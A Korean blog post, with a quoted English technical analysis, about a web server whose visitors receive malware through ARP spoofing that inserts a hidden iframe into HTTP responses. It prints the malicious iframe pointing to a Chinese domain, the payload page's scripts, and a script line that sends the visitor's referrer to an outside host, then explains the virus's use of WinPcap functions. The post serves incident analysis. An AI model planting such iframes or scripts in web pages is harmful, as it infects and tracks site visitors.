Real Geeks

'Arp Spoofing Malware'에 해당되는 글 1건

  1. ARP 스푸핑 해킹 악용 웹사이트 바이러스 삽입 피해 및 기술

ARP 스푸핑 해킹 악용 웹사이트 바이러스 삽입 피해 및 기술

카테고리 없음
ARP 스푸핑 해킹 악용 웹사이트 바이러스 삽입 피해 및 기술
(ARP Spoofing HTTP Infection Malware)

해당 서버호스팅 업체에 어서 고치라는 말을 전하고 싶은데 어딘지 모르겠다.

오늘 오후 5시경 전화가 왔다. 사이트 해킹당했다고....

지인의 서버이며, 해킹을 당했다고 하는것이다.

ARP 스푸핑 공격으로 웹사이트에 악성코드를 넣는 방법으로 생각이 된다.

소스코드를 서버 내부에서 직접 확인하니, 악성코드 관련된 iframe을 전혀 찾을수 없다.
DB에도 전혀없다.

느낌이 arp spoofing 공격인것으로 판단이 되었다

arp -a 로 arp 를 본다.
2개가 있다.






index.php 파일의 내용은 정상적이지만, 웹으로 보면 첫번째 라인에
중국 쪽에 있는 서버에 악성코드가 iframe 으로 박혀있다.

오딧세이스로 하나씩 하나씩 해서 가니까. 바로 보이는데 , 일반 웹브라우저로 보면 화면이 안보이고 악성코드가 들어가있음.




<iframe src=http://baidu-baiduxin1.cn/a0189878/[내용삭제].htm width=100 height=0></iframe>

해당 접속 경로로 가보니 아래와 같은 형상이다.

<iframe src=new.html  height=0  width=100 ></iframe>
<BR>
</BR>
<BR>
</BR>
<script language="javascript" type="text/javascript" src="
http://js.users.51.la/내용삭제.js"></script>
<script src="
http://tj.baidu-6661.com/tongji/내용삭제.js"></script>
<script src=
http://s75.cnzz.com/stat.php?id=내용삭제&web_id=내용삭제 language="JavaScript" charset="gb2312"></script>

또 안에 다른 내용은 아래와 같다.
var a3981sf=document.referrer;
document.write('<script src="http://tj.baidu-6661.com/tongji/vi.asp?vc='+a3981sf+'"></script>');



증상은 이렇다.

서버내에 아무리 찾아도 관련된 코드는 없다. 페이지를 바꾸려고 해도 정상적이어서 어디를 손대야할지
모른다.
그런데, 자꾸 사이트에 접속하면 바이러스가 있다고 백신에서 알려준다.
이럴때 웹사이트에는 문제가 없는것이다. ARP 스푸핑 공격으로 인한 웹사이트 변조다.
ARP 스푸핑을 악용하여 공격대상 호스트와 게이트웨이의 ARP 테이블을 감염시켜 그 중간에서
변조하는 것이다.



해외 기술 자료를 참고한 내용을 첨부






The following steps describe what occurs.

First step: The poisoned machine broadcasts ARP spoofing packets saying "I am the Gateway"

Second step: Each machine in the subnet receives an ARP spoofing packet and updates its ARP table, so the ARP cache is poisoned.

Third step: A machine accesses the Internet through the poisoned machine, then the poisoned machine routes this HTTP packet through the Gateway (the poisoned machine uses a Net driver, such as wpcap.dll or WanPacket.dll, to get network traffic).

Fourth step: The Gateway inserts a malicious URL into the HTTP response packet. Then it sends the malicious packet to the object machine.

In the following code, we see how the virus inserts a malicious link:




In the shown code above, we can see partial IP address information. The information comes from the author's network environment, which is similar to the following:

0000b3b0 255.255.255.0

subnet mask

0000b3c0 10.xx.xx.58

poisoned machine IP address

0000b840 10.xx.xx.1

correct Gateway address

0000b850 10.xx.xx.*

subnet information

When the virus obtains this data, it scans the local subnet and then sends ARP spoofing packets to machines in the local subnet.

In the code above, the virus calls a system dll file (iphlpapi.dll) to get general information about the local network adapter. The iphlpapi.dll file is a module containing the functions used by the Windows IP Helper API. When the virus gets the local network adapter information, the virus can make spoofing ARP packet. The following graphic shows detailed code


ARP spoofing virus calls several functions from the wpcap.dll, as shown here:

(1) int pcap_loop()

Collect a group of packets.

(2) int pcap_sendpacket()

Send a raw packet.

(3) int pcap_setfilter()

Associate a filter to a capture.

(4) int pcap_compile()

Compile a packet filter, converting a high-level filtering expression into a program that can be interpreted by the kernel-level filtering engine.

For additional functional details about WinPcap, please see this Web page http://www.winpcap.org/docs/docs_40_2/html/group__wpcapfunc.html.



following picture


code sample includes the malicious code

샘플 화면